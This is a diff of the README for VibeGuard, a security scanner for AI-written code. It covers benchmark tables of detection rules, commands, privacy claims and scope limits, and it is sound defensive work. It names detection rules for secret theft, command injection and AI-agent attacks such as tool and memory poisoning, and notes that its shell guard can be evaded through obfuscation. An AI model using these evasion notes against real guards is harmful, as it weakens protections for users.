+ | `high` | Dataflow-confirmed โ€” input traced to sink via AST |
224
+ | `medium` | Multi-signal regex with validation logic |
225
+ | `low` | Bare regex match โ€” heuristic hint |
525
226
 
526
227
  ```bash
527
- vibeguard scan --min-confidence medium # hide low-confidence hints
528
- vibeguard scan --show-suppressed # show inline-suppressed findings
228
+ vibeguard scan --min-confidence medium # hide low-confidence hints (default)
229
+ vibeguard scan --all # show everything
529
230
  ```
530
231
 
531
- **Inline suppression** with reasons:
532
-
232
+ Suppress inline with a reason:
533
233
  ```js
534
234
  const key = "sk_live_..."; // vibeguard-ignore[secret.stripe-live-key]: test fixture
535
- // vibeguard-ignore-next[code.eval]: intentional eval in REPL
536
- eval(userInput);
537
235
  ```
538
236
 
539
- SARIF output maps confidence to `result.properties.confidence` for CI integrations.
540
-
541
237
  ---
542
238
 
543
- <div align="center">
544
- <h2>๐Ÿ“Š Numbers</h2>
545
- </div>
239
+ ## Coverage & Limits
240
+
241
+ Detection depth is **not uniform across languages** โ€” be honest about what you're getting:
242
+
243
+ | Language | Secrets / patterns | Dataflow taint | Engine |
244
+ |----------|:---:|:---:|--------|
245
+ | JavaScript / TypeScript | Full | Interprocedural + cross-file | AST (acorn) |
246
+ | Python | Full | Heuristic (line-proximity, single-file) | regex |
247
+ | Go | Full | Targeted rules (`fmt.Sprintf` SQL) | regex |
248
+ | Java / PHP / Ruby / C# / Rust | Full | Pattern-only | regex |
249
+ | Kotlin / Swift / Bash | Full | Pattern-only | regex |
546
250
 
547
- <!-- COUNTS:START -->
548
- <!-- Auto-generated by scripts/counts.js โ€” do not edit manually -->
549
- <!-- Rules: 693 | MCP Tools: 75 | Defense Layers: 13 -->
550
- <!-- COUNTS:END -->
551
-
552
- <table>
553
- <tr><th>Metric</th><th>Value</th><th></th></tr>
554
- <tr><td>Rules</td><td><b>693</b></td><td>๐Ÿ”’</td></tr>
555
- <tr><td>MCP tools</td><td><b>75</b></td><td>๐Ÿค–</td></tr>
556
- <tr><td>CLI commands</td><td><b>58</b></td><td>๐Ÿ’ป</td></tr>
557
- <tr><td>Auto-fixable rules</td><td><b>43</b></td><td>๐Ÿ”ง</td></tr>
558
- <tr><td>Defense layers</td><td><b>13</b></td><td>๐Ÿ›ก๏ธ</td></tr>
559
- <tr><td>Pre-deploy gates</td><td><b>13</b></td><td>๐Ÿš€</td></tr>
560
- <tr><td>AI clients</td><td><b>12</b></td><td>๐Ÿง </td></tr>
561
- <tr><td>Languages</td><td><b>14</b></td><td>๐ŸŒ</td></tr>
562
- <tr><td>Frameworks</td><td><b>20+</b></td><td>โšก</td></tr>
563
- <tr><td>Presets</td><td><b>12</b></td><td>โš™๏ธ</td></tr>
564
- <tr><td>Privacy rules</td><td><b>50+</b></td><td>๐Ÿ”’</td></tr>
565
- <tr><td>Firewall rules</td><td><b>30+</b></td><td>๐Ÿ”ฅ</td></tr>
566
- <tr><td>AI Firewall threats</td><td><b>20+</b></td><td>๐Ÿงฑ</td></tr>
567
- <tr><td>PII types detected</td><td><b>10+</b></td><td>๐Ÿ‘๏ธ</td></tr>
568
- <tr><td>Source modules</td><td><b>43</b></td><td>๐Ÿ“ฆ</td></tr>
569
- <tr><td>Tests</td><td><b>329</b></td><td>โœ…</td></tr>
570
- <tr><td>Lint errors</td><td><b>0</b></td><td>โœจ</td></tr>
571
- <tr><td>Dependencies</td><td><b>1</b> (MCP SDK)</td><td>๐Ÿ“ฆ</td></tr>
572
- <tr><td>Cost</td><td><b>$0</b></td><td>๐Ÿ’š</td></tr>
573
- <tr><td>Telemetry</td><td><b>None</b></td><td>๐Ÿ”’</td></tr>
574
- <tr><td>Data sent to servers</td><td><b>None</b></td><td>๐Ÿ”’</td></tr>
575
- </table>
251
+ **Engine modes.** Full precision needs the optional `acorn` parser. Without it VibeGuard runs `regex-only` and says so loudly on every scan:
252
+
253
+ ```
254
+ โš  engine: regex-only โ€” acorn not installed, AST/taint precision disabled.
255
+ ```
256
+
257
+ Install precision: `npm i -D acorn acorn-walk acorn-typescript`.
258
+
259
+ **Fail-loud, never fail-silent.** If any analysis pass errors or a file fails to parse, VibeGuard reports degraded coverage instead of pretending the scan was clean:
260
+
261
+ ```
262
+ โš  degraded coverage: 2 file(s) not fully analyzed [passes: ast, taint].
263
+ ```
264
+
265
+ Use `vibeguard scan --strict` to make a degraded scan a hard failure (exit 3) in CI.
266
+
267
+ **Fast modes.** `--changed` rescans only files changed since the last scan (SHA-256 cache; ~100x+ faster warm re-scans). `--staged` scans only git-staged files โ€” ideal for a pre-commit hook. Both are per-file (cross-file analysis skipped; run a full scan for that).
268
+
269
+ **The shell guard is a mistake-catcher, not a sandbox.** It normalizes common obfuscation (base64, `$IFS`, variable indirection, quote-splitting) and blocks accidental / AI-generated dangerous commands. A determined adversary who knows the patterns can still evade it โ€” it is not sandbox-escape prevention.
576
270
 
577
271
  ---
578
272
 
579
- <div align="center">
580
- <h2>๐Ÿ“ Benchmark (Precision / Recall / F1)</h2>
581
- </div>
273
+ ## Benchmark
582
274
 
583
- We measure VibeGuard against a curated JS vuln corpus โ€” not a fake rule count.
275
+ Measured against a curated corpus of 121 files (90 vuln + 31 clean). Not a vanity number.
584
276
 
585
277
  <!-- BENCHMARK:START -->
586
278
  <!-- Auto-generated by `npm run benchmark` โ€” do not edit manually -->
@@ -589,12 +281,12 @@ We measure VibeGuard against a curated JS vuln corpus โ€” not a fake rule count.
589
281
 
590
282
  | Category | TP | FP | FN | Precision | Recall | F1 |
591
283
  |----------|----|----|----|-----------|--------|----|
592
- | injection | 43 | 10 | 3 | 81.1% | 93.5% | 86.9% |
593
- | secrets | 17 | 0 | 0 | 100.0% | 100.0% | 100.0% |
594
- | xss | 4 | 0 | 0 | 100.0% | 100.0% | 100.0% |
595
- | path-traversal | 9 | 1 | 0 | 90.0% | 100.0% | 94.7% |
596
- | ai-safety | 7 | 2 | 0 | 77.8% | 100.0% | 87.5% |
597
- | **OVERALL** | **80** | **13** | **3** | **86.0%** | **96.4%** | **90.9%** |
284
+ | injection | 43 | 5 | 6 | 89.6% | 87.8% | 88.7% |
285
+ | secrets | 19 | 7 | 2 | 73.1% | 90.5% | 80.9% |
286
+ | xss | 16 | 0 | 1 | 100.0% | 94.1% | 97.0% |
287
+ | path-traversal | 9 | 1 | 1 | 90.0% | 90.0% | 90.0% |
288
+ | ai-safety | 8 | 2 | 6 | 80.0% | 57.1% | 66.7% |
289
+ | **OVERALL** | **95** | **15** | **16** | **86.4%** | **85.6%** | **86.0%** |
598
290
 
599
291
  ## Per-Category Details
600
292
 
@@ -602,122 +294,152 @@ We measure VibeGuard against a curated JS vuln corpus โ€” not a fake rule count.
602
294
 
603
295
  | File | Rule ID | Verdict |
604
296
  |------|---------|---------|
297
+ | sql-concat.js | `code.sql-injection` | TP |
298
+ | sql-concat.js | `taint.sql-injection` | TP |
299
+ | sql-concat2.js | `code.sql-injection` | TP |
300
+ | sql-concat2.js | `taint.sql-injection` | TP |
301
+ | sql-concat3.js | `code.sql-injection` | TP |
302
+ | sql-template.js | `db.sql-template-literal` | TP |
303
+ | sql-template.js | `taint.sql-injection` | FN |
304
+ | sql-template2.js | `db.sql-template-literal` | FN |
305
+ | sql-template2.js | `taint.sql-injection` | TP |
306
+ | sql-template3.js | `db.sql-template-literal` | TP |
307
+ | sql-template3.js | `taint.sql-injection` | FN |
308
+ | sql-raw-rb.js | `code.sql-injection` | TP |
309
+ | sql-raw2.js | `db.sql-template-literal` | TP |
310
+ | sql-knex.js | `code.sql-injection` | TP |
311
+ | sql-knex.js | `mikroorm.identifier-from-request` | FP |
312
+ | sql-sequelize.js | `code.sql-injection` | TP |
313
+ | sql-fstring.py | `py.sql-injection` | TP |
314
+ | sql-fstring2.py | `py.sql-injection` | TP |
315
+ | sql-py-concat.py | `py.sql-injection` | FN |
316
+ | sql-sprintf.go | `go.sql-fmt-sprintf` | TP |
317
+ | sql-sprintf.go | `go.sql-injection` | FP |
318
+ | sql-sprintf2.go | `go.sql-fmt-sprintf` | TP |
319
+ | sql-sprintf2.go | `go.sql-injection` | FP |
320
+ | sql-kotlin.kt | `kotlin.sql-injection` | TP |
321
+ | sql-csharp.cs | `csharp.sql-injection` | TP |
605
322
  | cmd-concat.js | `taint.command-injection` | TP |
606
323
  | cmd-concat.js | `ast.command-injection` | TP |
324
+ | cmd-template.js | `taint.command-injection` | TP |
325
+ | cmd-template.js | `ast.command-injection` | TP |
607
326
  | cmd-concat2.js | `taint.command-injection` | TP |
608
327
  | cmd-concat2.js | `ast.command-injection` | TP |
609
- | cmd-go.go | `go.command-injection` | TP |
328
+ | cmd-spawn.js | `taint.command-injection` | FN |
610
329
  | cmd-py.py | `py.os-system` | TP |
611
330
  | cmd-py2.py | `py.subprocess-shell-true` | TP |
612
331
  | cmd-py3.py | `py.os-system` | TP |
613
- | cmd-spawn.js | `taint.command-injection` | TP |
614
- | cmd-template.js | `taint.command-injection` | TP |
615
- | cmd-template.js | `ast.command-injection` | TP |
332
+ | cmd-go.go | `go.command-injection` | TP |
616
333
  | eval-input.js | `ast.eval-dynamic` | TP |
617
- | eval-new-function.js | `ast.function-constructor` | TP |
618
- | eval-new-function.js | `ast.mass-assignment` | FP |
619
334
  | eval-template.js | `ast.eval-dynamic` | TP |
620
335
  | eval-template.js | `taint.code-injection` | FP |
621
- | nosql-where.js | `ast.nosql-injection` | TP |
336
+ | eval-new-function.js | `ast.function-constructor` | TP |
337
+ | eval-new-function.js | `ast.mass-assignment` | FP |
622
338
  | nosql.js | `ast.nosql-injection` | TP |
623
339
  | nosql2.js | `ast.nosql-injection` | TP |
624
340
  | nosql3.js | `ast.nosql-injection` | TP |
625
- | open-redirect.js | `web.open-redirect` | TP |
626
- | open-redirect2.js | `taint.open-redirect` | TP |
341
+ | nosql-where.js | `ast.nosql-injection` | TP |
627
342
  | proto-poll.js | `injection.prototype-pollution` | TP |
628
343
  | proto-poll.js | `ast.mass-assignment` | TP |
629
344
  | proto-poll2.js | `injection.prototype-pollution` | TP |
630
345
  | proto-poll3.js | `injection.prototype-pollution` | TP |
631
- | sql-concat.js | `code.sql-injection` | TP |
632
- | sql-concat.js | `taint.sql-injection` | TP |
633
- | sql-concat2.js | `code.sql-injection` | TP |
634
- | sql-concat2.js | `taint.sql-injection` | TP |
635
- | sql-concat3.js | `code.sql-injection` | TP |
636
- | sql-csharp.cs | `csharp.sql-injection` | TP |
637
- | sql-csharp.cs | `code.sql-injection` | FP |
638
- | sql-fstring.py | `py.sql-injection` | TP |
639
- | sql-fstring2.py | `py.sql-injection` | TP |
640
- | sql-knex.js | `code.sql-injection` | TP |
641
- | sql-knex.js | `mikroorm.identifier-from-request` | FP |
642
- | sql-kotlin.kt | `kotlin.sql-injection` | TP |
643
- | sql-py-concat.py | `py.sql-injection` | FN |
644
- | sql-py-concat.py | `code.sql-injection` | FP |
645
- | sql-raw-rb.js | `code.sql-injection` | TP |
646
- | sql-raw2.js | `db.sql-template-literal` | TP |
647
- | sql-sequelize.js | `code.sql-injection` | TP |
648
- | sql-sprintf.go | `go.sql-fmt-sprintf` | TP |
649
- | sql-sprintf.go | `go.sql-injection` | FP |
650
- | sql-sprintf2.go | `go.sql-fmt-sprintf` | TP |
651
- | sql-sprintf2.go | `go.sql-injection` | FP |
652
- | sql-template.js | `db.sql-template-literal` | TP |
653
- | sql-template2.js | `db.sql-template-literal` | FN |
654
- | sql-template2.js | `injection.orm-raw-user` | FN |
655
- | sql-template2.js | `taint.sql-injection` | FP |
656
- | sql-template3.js | `db.sql-template-literal` | TP |
657
346
  | ssrf.js | `ast.ssrf` | TP |
347
+ | ssrf2.js | `ast.ssrf` | FN |
658
348
  | ssrf2.js | `taint.ssrf` | TP |
659
- | cmd-array.js | `taint.command-injection` | FP |
660
- | sql-parameterized.js | `taint.sql-injection` | FP |
349
+ | open-redirect.js | `web.open-redirect` | TP |
350
+ | open-redirect2.js | `taint.open-redirect` | TP |
661
351
 
662
352
  ### secrets
663
353
 
664
354
  | File | Rule ID | Verdict |
665
355
  |------|---------|---------|
666
- | conn-string.js | `secret.connection-string` | TP |
667
- | docker-build-arg.js | `ai.key-in-url` | TP |
668
- | env-secret.js | `secret.high-entropy` | TP |
669
- | generic-secret.js | `secret.generic-credential` | TP |
356
+ | openai-key.js | `secret.openai-key` | TP |
357
+ | openai-key2.js | `secret.anthropic-key` | TP |
670
358
  | github-token.js | `secret.github-token` | TP |
671
359
  | github-token2.js | `secret.github-token` | TP |
672
- | github-token2.js | `secret.high-entropy` | TP |
360
+ | github-token2.js | `secret.high-entropy` | FP |
361
+ | stripe-key.js | `secret.stripe-live-key` | TP |
362
+ | stripe-key.js | `secret.generic-credential` | TP |
363
+ | stripe-key.js | `stripe.key-in-client` | FP |
364
+ | stripe-restricted.js | `secret.stripe-restricted-key` | TP |
365
+ | slack-token.js | `secret.slack-token` | TP |
673
366
  | gitlab-token.js | `secret.gitlab-token` | TP |
674
- | mailgun-key.js | `secret.mailgun-key` | TP |
675
- | mailgun-key.js | `secret.high-entropy` | TP |
367
+ | sendgrid-key.js | `secret.sendgrid-key` | TP |
676
368
  | npm-token.js | `secret.npm-token` | TP |
677
- | npm-token.js | `secret.high-entropy` | TP |
369
+ | npm-token.js | `secret.high-entropy` | FP |
370
+ | gcp-key.js | `secret.gcp-api-key` | FN |
371
+ | private-key.js | `secret.private-key` | TP |
372
+ | aws-key.js | `secret.aws-access-key` | TP |
373
+ | mailgun-key.js | `secret.mailgun-key` | TP |
374
+ | mailgun-key.js | `secret.high-entropy` | FP |
375
+ | telegram-token.js | `secret.telegram-bot-token` | FN |
678
376
  | resend-key.js | `secret.resend-key` | TP |
679
- | sendgrid-key.js | `secret.sendgrid-key` | TP |
680
- | slack-token.js | `secret.slack-token` | TP |
681
- | stripe-key.js | `secret.generic-credential` | TP |
682
- | stripe-key.js | `stripe.key-in-client` | TP |
377
+ | conn-string.js | `secret.conn-string-password` | TP |
378
+ | conn-string.js | `secret.connection-string` | FP |
379
+ | generic-secret.js | `secret.generic-credential` | TP |
380
+ | docker-build-arg.js | `secret.docker-build-arg` | TP |
381
+ | docker-build-arg.js | `ai.key-in-url` | FP |
382
+ | env-secret.js | `secret.aws-secret-in-env` | TP |
383
+ | env-secret.js | `secret.high-entropy` | FP |
683
384
 
684
385
  ### xss
685
386
 
686
387
  | File | Rule ID | Verdict |
687
388
  |------|---------|---------|
389
+ | reflected-xss.js | `xss.reflected-response` | TP |
390
+ | reflected-xss.js | `taint.xss-reflected` | TP |
391
+ | reflected-xss2.js | `xss.reflected-response` | TP |
392
+ | reflected-xss2.js | `taint.xss-reflected` | TP |
393
+ | reflected-xss3.js | `xss.reflected-response` | TP |
394
+ | reflected-xss3.js | `taint.xss-reflected` | TP |
395
+ | reflected-xss4.js | `xss.reflected-response` | TP |
396
+ | reflected-xss4.js | `taint.xss-reflected` | TP |
397
+ | innerhtml.js | `injection.xss-angular-innerHTML` | TP |
398
+ | innerhtml.js | `taint.xss-dom` | TP |
399
+ | innerhtml2.js | `injection.xss-innerhtml-direct` | TP |
400
+ | innerhtml2.js | `taint.xss-dom` | TP |
688
401
  | dangerously-html.jsx | `react.dangerous-html` | TP |
689
402
  | dangerously-html2.jsx | `react.dangerous-html` | TP |
690
403
  | dangerously-html2.jsx | `ai.llm-output-dom` | TP |
404
+ | vue-v-html.js | `injection.xss-vue-v-html` | FN |
691
405
  | eval-llm-output.js | `ai.llm-output-dom` | TP |
692
406
 
693
407
  ### path-traversal
694
408
 
695
409
  | File | Rule ID | Verdict |
696
410
  |------|---------|---------|
697
- | append-file.js | `taint.path-traversal` | TP |
698
- | create-read-stream.js | `taint.path-traversal` | TP |
699
- | path-join-template.js | `upload.filename-path-traversal` | TP |
700
411
  | read-concat.js | `taint.path-traversal` | TP |
701
- | read-template.js | `ai.tool-broad-file-access` | TP |
702
- | read-template.js | `taint.path-traversal` | TP |
703
412
  | sendfile.js | `taint.path-traversal` | TP |
704
- | unlink-concat.js | `taint.path-traversal` | TP |
413
+ | read-template.js | `taint.path-traversal` | TP |
414
+ | read-template.js | `ai.tool-broad-file-access` | TP |
705
415
  | write-concat.js | `taint.path-traversal` | TP |
416
+ | unlink-concat.js | `taint.path-traversal` | TP |
417
+ | create-read-stream.js | `taint.path-traversal` | TP |
418
+ | append-file.js | `taint.path-traversal` | TP |
419
+ | path-join-template.js | `taint.path-traversal` | FN |
420
+ | path-join-template.js | `upload.filename-path-traversal` | TP |
706
421
  | allowlist.js | `taint.path-traversal` | FP |
707
422
 
708
423
  ### ai-safety
709
424
 
710
425
  | File | Rule ID | Verdict |
711
426
  |------|---------|---------|
712
- | agent-deploy.js | `ai.agent-can-deploy` | TP |
713
- | agent-secrets.js | `ai.agent-can-access-secrets` | TP |
714
- | llm-output-dom.js | `ai.llm-output-dom` | TP |
715
- | llm-output-exec.js | `ai.llm-output-shell` | TP |
427
+ | user-in-system-prompt.js | `ai.user-input-in-system-prompt` | TP |
428
+ | llm-output-exec.js | `ai.llm-output-exec` | TP |
716
429
  | llm-output-exec.js | `taint.command-injection` | TP |
717
- | llm-output-exec.js | `ast.command-injection` | TP |
430
+ | llm-output-exec.js | `ai.llm-output-shell` | FP |
431
+ | llm-output-exec.js | `ast.command-injection` | FP |
432
+ | agent-loop-no-cap.js | `ai.agent-loop-no-cap` | TP |
433
+ | model-id-user-input.js | `ai.model-id-injection` | TP |
434
+ | tool-result-injection.js | `ai.tool-result-injection` | FN |
435
+ | agent-memory-poison.js | `ai.memory-poisoning` | FN |
436
+ | tool-poisoning.js | `ai.tool-poisoning` | TP |
718
437
  | tool-poisoning.js | `ai.mcp-description-injection-deep` | TP |
719
- | agent-safe-config.js | `ai.agent-can-deploy` | FP |
720
- | agent-safe-config.js | `ai.agent-can-access-secrets` | FP |
438
+ | prompt-extraction.js | `ai.prompt-extraction` | FN |
439
+ | llm-output-dom.js | `ai.llm-output-dom` | TP |
440
+ | agent-deploy.js | `ai.agent-can-deploy` | FN |
441
+ | agent-secrets.js | `ai.agent-can-access-secrets` | FN |
442
+ | model-id-template.js | `ai.model-id-injection` | FN |
721
443
 
722
444
  ## Methodology
723
445
 
@@ -728,144 +450,116 @@ We measure VibeGuard against a curated JS vuln corpus โ€” not a fake rule count.
728
450
  - **Recall** = TP / (TP + FN)
729
451
  - **F1** = 2 * (Precision * Recall) / (Precision + Recall)
730
452
 
731
- Generated: 2026-07-12T03:43:25.339Z
453
+ Generated: 2026-07-12T18:25:03.049Z
732
454
 
733
455
  <!-- BENCHMARK:END -->
734
456
 
735
- ---
736
-
737
- <div align="center">
738
- <h2>๐Ÿ”’ Privacy Guarantee</h2>
739
- </div>
740
-
741
- **VibeGuard never sends your code, secrets, API keys, or personal information anywhere.**
742
-
743
- | What | Network? | When |
744
- |------|----------|------|
745
- | `vibeguard scan` | **Never** | Local file read + regex match |
746
- | `vibeguard fix` | **Never** | Local file edit |
747
- | `vibeguard install` | **Never** | Local config write |
748
- | `vibeguard mcp` | **Never** | stdio transport only |
749
- | `vibeguard cve` | Opt-in | Package name โ†’ OSV.dev (free API) |
750
- | `vibeguard url` | Opt-in | URL you type โ†’ fetch headers |
751
- | `--verify-keys` | Opt-in | Key โ†’ provider that owns it |
752
-
753
- **No telemetry. No analytics. No tracking. No data collection. No uploads.**
457
+ Run `npm run benchmark` to reproduce. Per-category breakdown in `test/benchmark/benchmark-results.md`.
754
458
 
755
459
  ---
756
460
 
757
- <div align="center">
758
- <h2>โš™๏ธ Presets</h2>
759
- </div>
461
+ ## Commands
760
462
 
761
463
  ```bash
762
- vibeguard preset nextjs # Next.js + React
763
- vibeguard preset django # Django + Python
764
- vibeguard preset rails # Ruby on Rails
765
- vibeguard preset spring # Spring Boot + Java
766
- vibeguard preset aws # AWS / Terraform
767
- vibeguard preset gcp # Google Cloud
768
- vibeguard preset azure # Azure
769
- vibeguard preset api # REST / GraphQL API
770
- vibeguard preset mobile # React Native / mobile
771
- vibeguard preset fullstack # all rules (maximum coverage)
464
+ vibeguard scan [dir] # scan a project (auto-detects framework)
465
+ vibeguard scan --fix # scan + apply safe auto-fixes
466
+ vibeguard scan --all # show all findings including low-confidence
467
+ vibeguard scan --patch # output unified diff for fixes
468
+ vibeguard agent-scan [dir] # AI agent security posture grade
469
+ vibeguard mcp-audit # audit MCP servers for poisoning/drift
470
+ vibeguard guard-action "cmd" # inspect an agent action before running
471
+ vibeguard auto [dir] # full protection (daemon + hooks + shell guard)
472
+ vibeguard auto --stop # turn off, restore backups
473
+ vibeguard fix [dir] # auto-fix 43 rule types
474
+ vibeguard pre-deploy [dir] # 13-gate deployment check
475
+ vibeguard mcp # MCP server (for AI client integration)
476
+ vibeguard guard "command" # check a shell command before running it
477
+ vibeguard url <url> # scan HTTP headers for security misconfig
478
+ vibeguard pii-text "text" # detect PII in text (email, SSN, card, phone)
479
+ vibeguard cve <package> # check a package version for known CVEs
480
+ vibeguard install-hook # git pre-commit hook (blocks on critical)
481
+ vibeguard install-hook-post # PostToolUse hook (auto-scan AI edits)
482
+ vibeguard init-ci # generate CI/CD workflow files
772
483
  ```
773
484
 
774
485
  ---
775
486
 
776
- <div align="center">
777
- <h2>๐Ÿ”ง CI/CD</h2>
778
- </div>
487
+ ## Privacy
779
488
 
780
- ```bash
781
- vibeguard init-ci # GitHub Actions (SARIF + fail on CRITICAL)
782
- vibeguard install-hook # git pre-commit hook (blocks on critical)
783
- vibeguard install-hook-post # PostToolUse hook (auto-scan after AI edits)
784
- vibeguard pr-comment # GitHub PR comment format (markdown)
785
- ```
489
+ VibeGuard runs entirely on your machine. No telemetry, no analytics, no network calls by default.
786
490
 
787
- Templates included for: **GitLab CI**, **Jenkins**, **CircleCI**, **Azure Pipelines**.
491
+ | Command | Network? |
492
+ |---------|---------|
493
+ | `scan`, `fix`, `auto`, `mcp`, `install` | Never |
494
+ | `cve` (package name lookup) | Opt-in, OSV.dev only |
495
+ | `url` (header scan) | Opt-in, URL you provide |
496
+
497
+ The runtime interceptor adds guardrails that make data exfiltration significantly harder โ€” it wraps `fetch`, `http.request`, `child_process.exec`, and `fs.readFileSync` to block outbound secrets, PII, and sensitive file access. It is not a sandbox escape prevention layer.
788
498
 
789
499
  ---
790
500
 
791
- <div align="center">
792
- <h2>๐Ÿ’ป Languages & Frameworks</h2>
793
- </div>
501
+ ## Honest Scope
794
502
 
795
- **Languages (14):** JavaScript, TypeScript, Python, Go, Java, Ruby, PHP, C#, Rust, Kotlin, Swift, Bash, SQL, YAML
503
+ VibeGuard catches the mechanical security holes that AI coding tools leave behind. It does **not**:
796
504
 
797
- **Frameworks (20+):** Next.js, React, Remix, Astro, SolidStart, SvelteKit, Nuxt, Django, Flask, Rails, Laravel, Spring Boot, NestJS, Fastify, Express, Hono, tRPC, Gin, Echo, Drizzle, Prisma, Sequelize, TypeORM, Kysely, MikroORM, Convex, Turso, Clerk, Auth.js, Supabase, Firebase, Stripe, Polar, LemonSqueezy, Resend, Upstash, Pinecone, PostHog, Uploadthing
505
+ - Prove your app is safe or leak-proof
506
+ - Track personal data end-to-end through your app
507
+ - Judge business logic flaws
508
+ - Replace a real security review for anything touching money, auth, or personal data
798
509
 
799
- **Compliance:** SOC 2, PCI-DSS, HIPAA, GDPR, ISO 27001, EU AI Act
510
+ It raises the floor fast โ€” catching the holes that AI tools create by default. The benchmark numbers above are honest: 86.0% F1 means it misses ~14% of real issues and produces some false positives. Run `npm run benchmark` to reproduce. Read the per-category details in `test/benchmark/benchmark-results.md` before relying on it.
800
511
 
801
512
  ---
802
513
 
803
- <div align="center">
804
- <h2>๐Ÿ› ๏ธ Development</h2>
805
- </div>
514
+ ## Languages
806
515
 
807
- ```bash
808
- npm install
809
- npm test # 329 tests
810
- npm run benchmark # precision/recall/F1 benchmark
811
- npm run counts # self-generating rule/tool counts
812
- npm run lint # 0 errors
813
- npm run coverage # coverage report
814
- ```
516
+ JavaScript, TypeScript, Python, Go, Java, Ruby, PHP, C#, Rust, Kotlin, Swift, Bash, SQL, YAML. Language-specific rules are gated by file extension โ€” Go rules don't fire on `.js` files.
815
517
 
816
518
  ---
817
519
 
818
- <div align="center">
819
- <h2>๐Ÿ“– Honest Scope</h2>
820
- </div>
520
+ ## CI/CD
821
521
 
822
- VibeGuard catches the **mechanical** security holes that AI tools leave behind. It does NOT:
823
- - Prove your app is safe or leak-proof
824
- - Track personal data end-to-end through your app automatically
825
- - Judge business logic flaws
826
- - Replace a real security review for anything touching money, auth, or personal data
522
+ ```bash
523
+ vibeguard auto --ci # non-interactive, exit non-zero on critical
524
+ vibeguard init-ci # generate GitHub Actions workflow
525
+ vibeguard scan --output sarif # SARIF output for GitHub Code Scanning
526
+ ```
827
527
 
828
- It **raises the floor fast** โ€” catching the holes that AI tools create by default.
528
+ Templates included for GitLab CI, Jenkins, CircleCI, Azure Pipelines.
829
529
 
830
530
  ---
831
531
 
832
- <div align="center">
833
- <h2>๐Ÿ“„ License</h2>
834
-
835
- MIT โ€” Free forever. No ads. No tracking. No data collection.
532
+ ## Development
836
533
 
837
- </div>
534
+ ```bash
535
+ npm install
536
+ npm test # 356 tests, 0 failures
537
+ npm run benchmark # precision/recall/F1
538
+ npm run counts # verify rule/tool counts match source
539
+ npm run lint # 0 errors
540
+ ```
838
541
 
839
542
  ---
840
543
 
841
- <div align="center">
544
+ ## License
842
545
 
843
- <!-- Author Section with Animation -->
844
- <img src="https://readme-typing-svg.herokuapp.com?font=Fira+Code&weight=600&size=22&duration=2000&pause=300&color=2E75B6&center=true&vCenter=true&random=false&width=400&lines=Made+with+%E2%9D%A4%EF%B8%8F+by+Yagyesh+Vyas;Star+%E2%AD%90+if+VibeGuard+helped+you;Open+source+%7C+MIT+License;Zero+telemetry+%7C+100%25+local" alt="Made by Yagyesh Vyas" />
546
+ MIT. Free forever. No ads. No tracking. No data collection.
845
547
 
846
- <br/>
847
-
848
- <a href="https://www.linkedin.com/in/yagyeshvyas/">
849
- <img src="https://img.shields.io/badge/LinkedIn-%230077B5.svg?style=for-the-badge&logo=linkedin&logoColor=white" alt="LinkedIn" />
850
- </a>
851
- &nbsp;
852
- <a href="https://github.com/yagyeshVyas">
853
- <img src="https://img.shields.io/badge/GitHub-%23121011.svg?style=for-the-badge&logo=github&logoColor=white" alt="GitHub" />
854
- </a>
855
- &nbsp;
856
- <a href="https://www.npmjs.com/package/vibeguard">
857
- <img src="https://img.shields.io/badge/npm-%23CB3837.svg?style=for-the-badge&logo=npm&logoColor=white" alt="npm" />
858
- </a>
548
+ ---
859
549
 
860
- <br/>
861
- <br/>
550
+ <div align="center">
862
551
 
863
- <p><b>โญ If VibeGuard helped you, star the repo!</b></p>
552
+ ## Built by Yagyesh Vyas
864
553
 
865
- <p>Found a bug? <a href="https://github.com/yagyeshVyas/VibeGuard/issues">Open an issue</a> ยท Want to contribute? <a href="https://github.com/yagyeshVyas/VibeGuard/pulls">Submit a PR</a></p>
554
+ <p>
555
+ <a href="https://github.com/yagyeshVyas"><img src="https://img.shields.io/badge/GitHub-yagyeshVyas-181717?style=for-the-badge&logo=github&logoColor=white" alt="GitHub" /></a>
556
+ <a href="https://www.linkedin.com/in/yagyeshvyas"><img src="https://img.shields.io/badge/LinkedIn-Yagyesh%20Vyas-0A66C2?style=for-the-badge&logo=linkedin&logoColor=white" alt="LinkedIn" /></a>
557
+ <a href="https://www.npmjs.com/~yagyeshvyas"><img src="https://img.shields.io/badge/npm-@yagyeshvyas-CB3837?style=for-the-badge&logo=npm&logoColor=white" alt="npm" /></a>
558
+ <a href="https://vibe-guard-site-ivory.vercel.app/"><img src="https://img.shields.io/badge/Website-vibe--guard--site-ivory.vercel.app-000000?style=for-the-badge&logo=vercel&logoColor=white" alt="Website" /></a>
559
+ </p>
866
560
 
867
- <br/>
561
+ Found a bug? [Open an issue](https://github.com/yagyeshVyas/VibeGuard/issues). &bull; Have a question? [Start a discussion](https://github.com/yagyeshVyas/VibeGuard/discussions).
868
562
 
869
- <p><sub>VibeGuard v0.1.0 ยท MIT License ยท 693 rules ยท 75 MCP tools ยท 13 defense layers ยท $0 cost ยท zero telemetry</sub></p>
563
+ <sub>&copy; 2026 Yagyesh Vyas. Released under the MIT License.</sub>
870
564
 
871
565
  </div>